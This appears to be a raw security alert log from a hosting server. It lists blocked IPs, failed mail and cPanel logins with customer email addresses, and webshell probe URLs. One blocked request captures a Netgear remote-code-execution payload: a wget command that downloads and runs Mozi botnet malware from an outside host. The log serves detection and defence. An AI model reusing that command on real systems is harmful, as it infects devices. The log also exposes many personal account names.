Jan 13 12:05:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.45
country_id: 3175395
description:
Jan 13 12:06:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.51.223.132
country_id: 1269750
description:
Jan 13 12:06:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.51.223.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.226.88.121
country_id: 2661886
description:
2026-01-13 12:07:33 dovecot_plain authenticator failed for H=81-226-88-121-no600.tbcn.telia.com (acing) [81.226.88.121]:45424: 535 Incorrect authentication data (set_id=amirrol@ajresorts.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.45
country_id: 3175395
description:
Jan 13 12:07:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.226.88.121
country_id: 2661886
description:
Jan 13 12:07:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.226.88.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.155.213.175
country_id: 1668284
description:
Jan 13 12:08:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.155.213.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.155.213.175
country_id: 1668284
description:
2026-01-13 12:08:23 dovecot_login authenticator failed for H=182-155-213-175.veetime.com [182.155.213.175]:59502: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 12:11:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59302: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.129.87.182
country_id: 1814991
description:
Jan 13 12:11:41 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.129.87.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 12:11:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59302: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.129.87.182
country_id: 1814991
description:
2026-01-13 12:11:43 dovecot_login authenticator failed for H=([39.129.87.182]) [39.129.87.182]:57512: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/radioactive.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.66
country_id: 933860
description:
Jan 13 12:12:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.224.56.242
country_id: 1814991
description:
Jan 13 12:13:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.224.56.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 12:14:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63368: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.224.56.242
country_id: 1814991
description:
2026-01-13 12:13:20 dovecot_login authenticator failed for H=([120.224.56.242]) [120.224.56.242]:50440: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 12:14:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63368: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-13 12:15:30 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess2961289908/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/portfolio/sitemap.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-13 12:17:07 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0816338034/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.123.249
country_id: 337996
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/very/19/666/1941938 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-13 12:18:07 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0816338034/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.155.106.83
country_id: 1835841
description:
2026-01-13 12:18:50 dovecot_login authenticator failed for H=([218.155.106.83]) [218.155.106.83]:55114: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.114.96.88
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f004 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.164
country_id: 3469034
description:
Jan 13 12:21:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.164 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.156.115.20
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f004/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.69.59.208
country_id: 1210997
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=A053-0003 - RSC Printed Carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 158.94.210.79
country_id: 2750405
description:
[2026-01-13 12:20:36 +0800] info [whostmgrd] 158.94.210.79 - jasonkua@printspecsolution.com "GET /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.58
country_id: 719819
description:
Jan 13 12:21:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.95.115.238
country_id: 798544
description:
Jan 13 12:21:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.95.115.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.162.99.246
country_id: 3077311
description:
Jan 13 12:21:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.162.99.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.164
country_id: 3469034
description:
Jan 13 12:21:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.58
country_id: 719819
description:
Jan 13 12:22:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.25.18.101
country_id: 3932488
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/resources/views/layouts/auth.blade.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - astpkg@astlog.com.my [01/13/2026:04:24:59 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: astpkg@astlog.com.my


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 1.83.68.169
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/HTWF/scripts/parallax.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 120.39.250.213
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/HTWF/scripts/isotope.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.33.31.31
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/HTWF/css/image-box.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.110
country_id: 3865483
description:
Jan 13 12:26:05 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.24.78.209
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.88.69.106
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/HTWF/scripts/jquery.magnific-popup.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.111.39
country_id: 3469034
description:
Jan 13 12:26:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.111.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.110
country_id: 3865483
description:
Jan 13 12:26:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.116.11.49
country_id: 6252001
description:
2026-01-13 12:27:11 dovecot_login authenticator failed for H=([127.0.0.1]) [107.116.11.49]:4604: 535 Incorrect authentication data (set_id=info@santanmas.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:29:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14130: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:29:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14130: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.205
country_id: 6252001
description:
Jan 13 12:31:02 sv3 pure-ftpd[307184]: (?@162.142.125.205) [INFO] New connection from 162.142.125.205


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37648: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - boss@astlog.com.my [01/13/2026:04:32:06 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: boss@astlog.com.my


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:31:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37648: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.22
country_id: 226074
description:
Jan 13 12:31:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 27.122.61.170
country_id: 1269750
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:7.62||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://27.122.61.170:34687/Mozi.m -O /tmp/netgear;sh netgear||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 12:34:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.47.130.6
country_id: 1269750
description:
2026-01-13 12:34:57 dovecot_plain authenticator failed for H=(96H3V7R8Q2) [49.47.130.6]:58185: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 12:35:07 H=([45.144.212.242]) [45.144.212.242]:59078 F=<lynnied@mhtc.net> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.22
country_id: 2510769
description:
Jan 13 12:35:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.210.13
country_id: 798544
description:
Jan 13 12:36:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.210.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.22
country_id: 2510769
description:
Jan 13 12:36:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 12:39:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59414: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 12:39:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59414: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 12:39:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.187
country_id: 3469034
description:
Jan 13 12:40:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 12:42:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63424: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.253.45.105
country_id: 3469034
description:
Jan 13 12:42:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.253.45.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/demos/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.131.209.114
country_id: 3469034
description:
Jan 13 12:42:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.131.209.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 12:42:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63424: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.131.209.114
country_id: 3469034
description:
Jan 13 12:43:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.131.209.114 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.14.133
country_id: 1733045
description:
[2026-01-13 12:48:49 +0800] info [webmaild] 60.54.14.133 - wongss28@fkr.com.my "POST /cpsess9362201720/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [42.191.131.179] != Current IP Address [60.54.14.133]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 69.58.89.5
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-49.69.58.89.5||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.10.71.94
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/large/294/393893 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.74.237.1
country_id: 1562822
description:
2026-01-13 12:54:18 dovecot_login authenticator failed for H=([127.0.0.1]) [27.74.237.1]:10571: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.200.186.178
country_id: 248816
domain: www.feliogroup.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.feliogroup.com.my/product.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.116
country_id: 3469034
description:
Jan 13 12:56:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:57:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14134: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.143
country_id: 3175395
description:
Jan 13 12:57:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.116
country_id: 3469034
description:
Jan 13 12:57:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:57:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14134: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:59:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37652: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:59:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37652: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.93
country_id: 690791
description:
Jan 13 13:00:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.240
country_id: 2510769
description:
Jan 13 13:00:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.199
country_id: 3469034
description:
Jan 13 13:00:54 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.6
country_id: 798544
description:
Jan 13 13:00:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.192.101.31
country_id: 3469034
description:
Jan 13 13:00:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.192.101.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.48
country_id: 3469034
description:
Jan 13 13:00:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.172
country_id: 3175395
description:
Jan 13 13:00:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.199
country_id: 3469034
description:
Jan 13 13:01:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.6
country_id: 798544
description:
Jan 13 13:01:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.212
country_id: 690791
description:
Jan 13 13:01:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.212 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.192.107.230
country_id: 6252001
description:
[2026-01-13 13:05:12 +0800] info [cpaneld] 44.192.107.230 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 221.11.242.67
country_id: 1814991
domain: www.manforce.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.manforce.net/mgmtsolutionspage/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 13:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59530: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 13:07:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59532: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
